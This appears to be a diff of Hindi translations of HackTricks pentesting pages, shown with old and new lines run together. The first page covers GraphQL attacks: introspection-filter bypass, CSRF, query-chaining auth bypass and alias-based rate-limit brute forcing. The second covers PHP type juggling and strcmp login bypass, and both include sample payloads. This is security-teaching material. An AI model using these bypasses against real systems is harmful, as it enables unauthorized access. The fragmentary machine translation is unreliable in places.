एपीआई में इंट्रोस्पेक्शन क्वेरी पर प्रतिबंधों को दरकिनार करने के लिए, `__schema` कीवर्ड के बाद एक **विशेष वर्ण डालना** प्रभावी साबित होता है। यह विधि ऐसे सामान्य डेवलपर लापरवाहियों का शोध करती है जो इंट्रोस्पेक्शन को ब्लॉक करने के लिए रेजेक्स पैटर्न में `__schema` कीवर्ड पर ध्यान केंद्रित करते हैं। जैसे कि अंतरिक्ष, नए लाइन्स, और कमा, जो GraphQL नजरअंदाज करता है लेकिन रेजेक्स में शामिल नहीं किया जा सकता है, प्रतिबंधों को टाला जा सकता है। उदाहरण के लिए, `__schema` के बाद एक न्यूलाइन के साथ एक इंट्रोस्पेक्शन क्वेरी ऐस रोकथामों को छल सकती है: API में इंट्रोस्पेक्शन क्वेरी पर प्रतिबंधों को छलने के लिए, `__schema` की शब्दकोश के बाद एक **विशेष वर्ण डालना** प्रभावी साबित होता है। यह विधि ऐसे सामान्य डेवलपर लापरवाहियों का शोध करती है जो इंट्रोस्पेक्शन को ब्लॉक करने के लिए रेजेक्स पैटर्न में ध्यान केंद्रित करते हैं। `__schema` की शब्दकोश पर ध्यान केंद्रित करने वाले रेजेक्स में शामिल नहीं किए जा सकने वाले वर्ण जो GraphQL नजरअंदाज करता है, लेकिन रेजेक्स में शामिल नहीं हो सकते हैं, प्रतिबंधों को घुमाया जा सकता है। उदाहरण के लिए, `__schema` के बाद एक न्यूलाइन के साथ एक इंट्रोस्पेक्शन क्वेरी ऐस रोकथामों को छल सकती है:
```bash ```bash
# Example with newline to bypass # Example with newline to bypass
{ {
@ -376,11 +376,11 @@ releaseYear
{queryType{name}}}" {queryType{name}}}"
} }
``` ```
अगर असफल रहे, तो विकल्पी अनुरोध विधियों को विचारें, जैसे कि **GET अनुरोध** या **POST with `x-www-form-urlencoded`**, क्योंकि प्रतिबंध केवल POST अनुरोधों पर लागू हो सकते हैं। अगर असफल हो तो विकल्पी अनुरोध विधियों का विचार करें, जैसे कि **GET अनुरोध** या **`x-www-form-urlencoded` के साथ POST**, क्योंकि प्रतिबंध केवल POST अनुरोधों पर लागू हो सकते हैं।
### **उजागर GraphQL संरचनाएँ खोजना** ### **उजागर जीक्वेएल संरचनाएँ खोजना**
जब अंतर्निहितीकरण अक्षम होता है, तो जावास्क्रिप्ट लाइब्रेरी में पूर्व लोड किए गए क्वेरीज के लिए वेबसाइट के स्रोत को जांचना एक उपयुक्त रणनीति है। इन क्वेरीज को डेवलपर टूल्स में `Sources` टैब का उपयोग करके पाया जा सकता है, जो API की स्कीमा में अंतर्निहित और संभावित रूप से **उजागर संवेदनशील क्वेरीज** को प्रकट कर सकता है। डेवलपर टूल्स में खोजने के लिए निम्नलिखित कमांड हैं: जब अंतर्निहितीकरण अक्षम होता है, तो जावास्क्रिप्ट लाइब्रेरी में पूर्व लोड किए गए क्वेरीज के लिए वेबसाइट के स्रोत को जांचना एक उपयुक्त रणनीति है। इन क्वेरीज को डेवलपर टूल्स में `Sources` टैब का उपयोग करके पाया जा सकता है, जो एपीआई के स्कीमा में अन्वेषण प्रदान करता है और संभावित रूप से **उजागर संवेदनशील क्वेरीज** को उजागर कर सकता है। डेवलपर टूल्स के भीतर खोज करने के लिए निम्नलिखित कमांड हैं:
```javascript ```javascript
Inspect/Sources/"Search all files" Inspect/Sources/"Search all files"
file:* mutation file:* mutation
@ -404,23 +404,23 @@ file:* query
```javascript ```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
``` ```
इसलिए, जैसे ही पिछले जैसे CSRF रिक्वेस्ट भेजे जाते हैं **प्रीफ्लाइट रिक्वेस्ट के बिना**, यह GraphQL में CSRF का दुरुपयोग करके **परिवर्तन** करना संभव है। इसलिए, जैसे ही पिछले जैसे CSRF अनुरोध भेजे जाते हैं **प्रीफ्लाइट अनुरोध के बिना**, GraphQL में CSRF का दुरुपयोग करके **परिवर्तन** करना संभव है।
हालांकि, ध्यान दें कि Chrome के `samesite` फ्लैग का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल तीसरे पक्ष के वेबसाइट से GET रिक्वेस्ट में भेजी जाएगी। हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल तीसरे पक्ष वेब से GET अनुरोधों में भेजी जाएगी।
ध्यान दें कि आम तौर पर **क्वेरी रिक्वेस्ट** को भी **GET** **रिक्वेस्ट के रूप में भेजा जा सकता है और CSRF टोकन को GET रिक्वेस्ट में सत्यापित नहीं किया जा सकता।** ध्यान दें कि आम तौर पर **क्वेरी अनुरोध** को भी **GET अनुरोध** के रूप में भेजना संभव है और CSRF टोकन को GET अनुरोध में सत्यापित नहीं किया जा सकता।
इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/) **हमला** का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उद्धार करना संभव हो सकता है उपयोगकर्ता क्रेडेंशियल का दुरुपयोग करके। इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/) **हमला** का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उद्धारित करना संभव हो सकता है उपयोगकर्ता क्रेडेंशियल का दुरुपयोग करके।
अधिक जानकारी के लिए **यहाँ** [**मूल पोस्ट देखें**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)। अधिक जानकारी के लिए **यहाँ मौजूद** [**मूल पोस्ट देखें**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)।
## GraphQL में अधिकृतता ## GraphQL में अधिकृतता
एंडपॉइंट पर परिभाषित कई GraphQL फ़ंक्शन श्रोता की प्रमाणीकरण की जांच कर सकते हैं लेकिन अधिकृतता की नहीं। एंडपॉइंट पर परिभाषित कई GraphQL फ़ंक्शन श्रोता की प्रमाणीकरण की जांच कर सकते हैं लेकिन अधिकृतता की नहीं।
क्वेरी इनपुट वेरिएबल को संवेदनशील खाता विवरणों तक पहुंचने का कारण बन सकता है [लीक](https://hackerone.com/reports/792927)। क्वेरी इनपुट वेरिएबल को संवेदनशील खाता विवरणों की ओर ले जाने का कारण बन सकता है [लीक](https://hackerone.com/reports/792927)।
म्युटेशन अन्य खाता डेटा संशोधित करने की कोशिश करने से खाता हस्तांतरण तक भी ले जा सकता है। म्यूटेशन अकाउंट डेटा को संशोधित करने की कोशिश करने से अकाउंट तकनीक ले जाने तक भी जा सकता है।
```javascript ```javascript
{ {
"operationName":"updateProfile", "operationName":"updateProfile",
@ -430,21 +430,21 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
``` ```
### GraphQL में अधिकृति को छलकरना ### GraphQL में अधिकृति को छलकरना
[क्वेरीज़ को चेनिंग](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) मिलाकर एक कमजोर प्रमाणीकरण प्रणाली को छल सकती है [क्वेरीज़ को चेनिंग](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) मिलाने से एक कमजोर प्रमाणीकरण प्रणाली को छलकर सकते हैं
नीचे दिए गए उदाहरण में आप देख सकते हैं कि ऑपरेशन "forgotPassword" है और इसके साथ जुड़ी forgotPassword क्वेरी को केवल चलाना चाहिए। इसे छलकरने के लिए एक क्वेरी को जोड़ा जा सकता है, इस मामले में हम "register" और एक उपयोगकर्ता चरण को जोड़ते हैं ताकि सिस्टम उसे एक नए उपयोगकर्ता के रूप में रजिस्टर कर सके। नीचे दिए गए उदाहरण में आप देख सकते हैं कि ऑपरेशन "forgotPassword" है और इसके साथ केवल forgotPassword क्वेरी को कार्यान्वित करना चाहिए। इसे छलकरने के लिए एक क्वेरी को जोड़ा जा सकता है, इस मामले में हम "रजिस्टर" और एक उपयोगकर्ता चरण को जोड़ते हैं ताकि सिस्टम उसे एक नए उपयोगकर्ता के रूप में रजिस्टर कर सके।
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## GraphQL में उपयोग करके रेट सीमाएं छलकरना ## GraphQL में उपयोग करके रेट सीमाएं को छलकरना
GraphQL में, अलायसेस एक शक्तिशाली सुविधा है जो एपीआई अनुरोध करते समय **संपत्तियों का नाम स्पष्ट रूप से निर्दिष्ट करने** की अनुमति देती है। यह क्षमता विशेष रूप से उपयोगी है **एक ही अनुरोध में एक ही प्रकार के वस्तुओं के अनेक उदाहरणों** को प्राप्त करने के लिए। अलायसेस का उपयोग किया जा सकता है ताकि GraphQL वस्तुओं को एक ही नाम के साथ अनेक गुण न होने की सीमा को लांघ सके GraphQL में, अलायसेस एक शक्तिशाली सुविधा है जो एपीआई अनुरोध करते समय **संपत्तियों का स्पष्ट नामकरण** सुनिश्चित करने की अनुमति देती है। यह क्षमता विशेष रूप से **एक ही अनुरोध में समान प्रकार** के वस्तुओं के **कई उदाहरण** प्राप्त करने के लिए उपयोगी है। अलायसेस का उपयोग करने से ग्राफ़क्यूएल वस्तुओं को एक ही नाम के साथ कई गुणों की सीमा नहीं होने देती है
GraphQL अलायसेस के विस्तृत समझने के लिए, निम्न संसाधन की सिफारिश की जाती है: [अलायसेस](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)। GraphQL अलायसेस के विस्तृत समझने के लिए, निम्न संसाधन की सिफारिश की जाती है: [अलायसेस](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)।
जबकि अलायसेस का मुख्य उद्देश्य अनेक एपीआई कॉल की आवश्यकता को कम करना है, एक अनजाने उपयोग मामला पहचाना गया है जहाँ अलायसेस का उपयोग किया जा सकता है ताकि GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को क्रियान्वित किया जा सके। यह संभव है क्योंकि कुछ एंडपॉइंट्स को **एचटीटीपी अनुरोधों** की संख्या को प्रतिबंधित करके ब्रूट फोर्स हमलों को रोकने के लिए रेट सीमाएं लगाई गई हैं। हालांकि, ये रेट सीमाएं शायद प्रत्येक अनुरोध के भीतर कार्रवाईयों की संख्या का ध्यान न रखें। जैसा कि अलायसेस एक ही एचटीटीपी अनुरोध में कई क्वेरीज़ को शामिल करने की अनुमति देते हैं, इससे ऐसी रेट सीमाएं को छल सकते हैं। जबकि अलायसेस का मुख्य उद्देश्य अनेक एपीआई कॉल की आवश्यकता को कम करना है, एक अनजाने उपयोग मामला पहचाना गया है जहाँ अलायसेस का उपयोग करके ग्राफ़क्यूएल एंडपॉइंट पर ब्रूट फ़ोर्स हमले को क्रियान्वित किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को एचटीटीपी अनुरोधों की संख्या को प्रतिबंधित करके ब्रूट फोर्स हमलों को रोकने के लिए रेट सीमिटर से संरक्षित किया गया है। हालांकि, ये रेट सीमिटर्स शायद प्रत्येक अनुरोध के भीतर कार्रवाई की संख्या को ध्यान में न रखें। जैसा कि अलायसेस की अनुमति एक ही एचटीटीपी अनुरोध में कई क्वेरीज़ को शामिल करने की अनुमति देती है, इससे ऐसे रेट सीमिटर मापांकन उपायों को छल सकते हैं।
नीचे प्रदान किए गए उदाहरण को ध्यान से देखें, जो दिखाता है कि अलायस क्वेरीज़ का उपयोग कैसे किया जा सकता है ताकि स्टोर डिस्काउंट कोड की वैधता की पुष्टि की जा सके। यह विधि रेट सीमाएं को छलने की संभावना है क्योंकि यह कई क्वेरीज़ को एक ही एचटीटीपी अनुरोध में संकलित कर सकता है, संभावनात: एक साथ कई डिस्काउंट कोड की पुष्टि करने की अनुमति देत है। विचार करें नीचे प्रदान किए गए उदाहरण को, जो दिखाता है कि अलायस क्वेरीज़ का उपयोग कैसे स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि रेट सीमिटिंग को छल सकती है क्योंकि यह कई क्वेरीज़ को एक ही एचटीटीपी अनुरोध में संग्रहित कर सकती है, संभावनात: कई डिस्काउंट कोड की पुष्टि करने की अनुमति देत है।
```bash ```bash
# Example of a request utilizing aliased queries to check for valid discount codes # Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) { query isValidDiscount($code: Int) {
@ -461,15 +461,16 @@ valid
``` ```
## उपकरण ## उपकरण
### सुरक्षा दोष स्कैनर ### सुरक्षा स्कैनर
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): GraphQL एंडपॉइंट की सामान्य misconfigurations का परीक्षण करें * [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): GraphQL एंडपॉइंट्स की सामान्य misconfigurations का परीक्षण करें
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग किए जा रहे GraphQL को fingerprint करें * [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): बैच GraphQL क्वेरी और म्युटेशन करने पर ध्यान केंद्रित GraphQL सुरक्षा मौजूदा स्क्रिप्ट
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकिट जिसका उपयोग स्कीमा पकड़ने और संवेदनशील डेटा की खोज करने, प्राधिकरण का परीक्षण करने, brute force स्कीमा, और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है। * [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग किए जा रहे graphql को फिंगरप्रिंट करें
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकिट जिसका उपयोग स्कीमा पकड़ने और संवेदनशील डेटा की खोज करने, अधिकृति का परीक्षण करने, स्कीमा को ब्रूट फोर्स करने और दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): स्वतंत्र रूप से उपयोग किया जा सकता है या [Burp extension](https://github.com/doyensec/inql)। * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): स्वतंत्र रूप से उपयोग किया जा सकता है या [Burp extension](https://github.com/doyensec/inql)।
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): हमल को स्वचालित करने के लिए CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): हमलों को स्वचालित करने के लिए CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): टूल जो एक दिए गए प्रकार तक पहुंचने के विभिन्न तरीके सूचीबद्ध करता है। * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): उपकरण जो एक दिए गए प्रकार तक पहुंचने के विभिन्न तरीके सूचीबद्ध करता है।
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए बर्प एक्सटेंशन। _**Scanner**_ InQL v5.0 का मूल है, जहां आप एक GraphQL एंडपॉइंट या स्थानीय इंट्रोस्पेक्शन स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्युटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में संगठित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो गलती से लागू किए गए दर सीमाओं को ऊंचा करने के लिए उपयोगी हो सकता है। * [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए बर्प एक्सटेंशन। _**स्कैनर**_ InQL v5.0 का मूल है, जहां आप एक GraphQL एंडपॉइंट या स्थानीय इंट्रोस्पेक्शन स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्युटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में संगठित करता है। _**हमलावर**_ घटना जो आपको बैच GraphQL हमलों को चलाने देता है, जो गलती से लागू किए गए दर सीमाओं को दौर करने के लिए उपयोगी हो सकता है।
### क्लाइंट ### क्लाइंट
@ -480,7 +481,7 @@ valid
{% embed url="https://graphql-dashboard.herokuapp.com/" %} {% embed url="https://graphql-dashboard.herokuapp.com/" %}
* AutoGraphQL की वीडियो समझाने वाली: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) * AutoGraphQL को समझाने वाला वडियो: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## संदर्भ ## संदर्भ
@ -491,17 +492,3 @@ valid
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) * [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं **HackTricks** में या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में PR जमा करके।
</details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary> <summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके: HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके * **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details> </details>
@ -38,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### ढीली तुलनाएँ/टाइप जग्गलिंग ( == ) ### ढीली तुलनाएँ/टाइप जग्गलिंग ( == )
यदि PHP में `==` का उपयोग किया जाता है, तो अप्रत्याशित मामले हो सकते हैं जहाँ तुलना उम्मीद के अनुसार व्यवहार नहीं करती। यह इसलिए है क्योंकि "==" केवल मानों की तुलना करता है जो एक ही प्रकार में परिवर्तित होते हैं, यदि आप यह भी तुलना करना चाहते हैं कि तुलित डेटा का प्रकार भी समान है तो आपको `===` का उपयोग करना होगा। यदि PHP में `==` का उपयोग किया जाता है, तो ऐसे अनपेक्षित मामले हो सकते हैं जहाँ तुलना उम्मीद के अनुसार व्यवहार नहीं करती। यह इसलिए है क्योंकि "==" केवल मानों की तुलना करता है जो एक ही प्रकार में परिवर्तित होते हैं, यदि आप यह भी तुलना करना चाहते हैं कि तुलित डेटा का प्रकार भी समान है तो आपको `===` का उपयोग करना होगा।
PHP तुलना सारणियाँ: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) PHP तुलना सारणियाँ: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -47,17 +47,17 @@ PHP तुलना सारणियाँ: [https://www.php.net/manual/en/typ
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} {% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` एक स्ट्रिंग जो किसी संख्या से शुरू नहीं होती है, उसे एक संख्या के बराबर माना जाता है * `"string" == 0 -> True` एक स्ट्रिंग जो किसी संख्या से शुरू नहीं होती है, उसे एक संख्या के बराबर माना जाता है
* `"0xAAAA" == "43690" -> True` दस्मलव या हेक्स प्रारूप में संख्याओं से मिलकर बनी स्ट्रिंग को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है और यदि संख्याए समान थीं तो परिणाम सच्चा होगा (स्ट्रिंग में संख्याए संख्याओं के रूप में व्याख्या की जाती हैं) * `"0xAAAA" == "43690" -> True` डेस या हेक्स प्रारूप में संख्याओं द्वारा बनी स्ट्रिंग को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है और यदि संख्याए समान थीं तो परिणाम सच्चा होगा (स्ट्रिंग में संख्याए संख्याओं के रूप में व्याख्या की जाती हैं)
* `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और कुछ भी आने वाली स्ट्रिंग 0 के बराबर होगी * `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और कुछ भी आने वाली स्ट्रिंग 0 के बराबर होगी
* `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर के साथ (X किसी भी अक्षर हो सकता है) और कुछ भी आने वाली स्ट्रिंग 0 के बराबर होगी * `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर के साथ (X किसी भी अक्षर हो सकता है) और कुछ भी आने वाली स्ट्रिंग 0 के बराबर होगी
* `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश किया जा रहा है और इसके साथ तुलना की जा रही है। इसलिए, यदि आप एक मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाएगा और किसी भी अक्षर के बिना, तो आप तुलना को छल सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) * `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और उसके साथ तुलना की जा रही किसी सामग्री को नियंत्रित कर सकते हैं। इसलिए, यदि आप एक मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला है और किसी भी अक्षर के बिना है, तो आप तुलना को छलकर सकते हैं। आप इस प्रारूप में **पहले से हैश बनाई गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर अंक 0 के बराबर है * `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर int 0 के बराबर है
अधिक जानकारी [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) अधिक जानकारी [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()** ### **in\_array()**
**टाइप जग्गलिंग** को डिफ़ॉल्ट रूप से `in_array()` फ़ंक्शन पर भी प्रभावित करता है (आपको एक सख्त तुलना बनाने के लिए तीसरे तर्क को सच में सेट करना होगा): **टाइप जग्गलिंग** डिफ़ॉल्ट रूप से `in_array()` फ़ंक्शन पर प्रभाव डालती है (आपको एक सख्त तुलना बनाने के लिए तीसरे तर्क को सच करना होगा):
```php ```php
$values = array("apple","orange","pear","grape"); $values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values)); var_dump(in_array(0, $values));
@ -67,7 +67,7 @@ var_dump(in_array(0, $values, true));
``` ```
### strcmp()/strcasecmp() ### strcmp()/strcasecmp()
यदि इस फ़ंक्शन का उपयोग **किसी प्रकार की प्रमाणीकरण जांच** के लिए किया जाता है (जैसे पासवर्ड की जांच करना) और उपयोगकर्ता तुलना का एक पक्ष नियंत्रित करता है, तो वह पासवर्ड के मान के रूप में एक खाली सरणी भेज सकता है बजाय एक स्ट्रिंग के (`https://example.com/login.php/?username=admin&password[]=`) और इस जांच को उमकर सकता है: यदि इस फ़ंक्शन का उपयोग **किसी प्रमाणीकरण जांच** के लिए किया जाता है (जैसे पासवर्ड की जांच करना) और उपयोगकर्ता तुलना का एक पक्ष नियंत्रित करता है, तो वह पासवर्ड के मान के रूप में एक खाली सरणी भेज सकता है बजाय एक स्ट्रिंग के (`https://example.com/login.php/?username=admin&password[]=`) और इस जांच को अनदेखा कर सकता है:
```php ```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password // Real Password
@ -76,17 +76,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
``` ```
### सख्त प्रकार जग्गलिंग ### सख्त प्रकार जग्गलिंग
यद्यपि `===` का उपयोग हो रहा है तो भी गलतियाँ हो सकती हैं जो **तुलना को भेदभावित** कर सकती हैं। उदाहरण के लिए, यदि तुलना **डेटा को एक विभिन्न प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**: यद्यपि `===` का उपयोग हो रहा है तो भी गलतियाँ हो सकती हैं जो **तुलना को भेदभावी** बना सकती हैं। उदाहरण के लिए, यदि तुलना **डेटा को एक विभिन्न प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
```php ```php
(int) "1abc" === (int) "1xyz" //This will be true (int) "1abc" === (int) "1xyz" //This will be true
``` ```
### preg\_match(/^.\*/) ### preg\_match(/^.\*/)
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट की पुष्टि** के लिए किया जा सकता है (यह **जांचता है** कि क्या कोई **शब्द/रीजेक्स** एक **काले सूची** से **उपयोगकर्ता इनपुट** पर **मौजूद** है और अगर नहीं, तो कोड अपनी क्रिया जारी रख सकता है। **`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट की पुष्टि** के लिए किया जा सकता है (यह **जांचता है** कि क्या कोई **शब्द/रीजेक्स** एक **ब्लैकलिस्ट** से **उपयोगकर्ता इनपुट** पर **मौजूद** है और अगर नहीं है, तो कोड अपनी क्रिया जारी रख सकता है।
#### नई लाइन बाईपास #### नई पंक्ति बाईपास
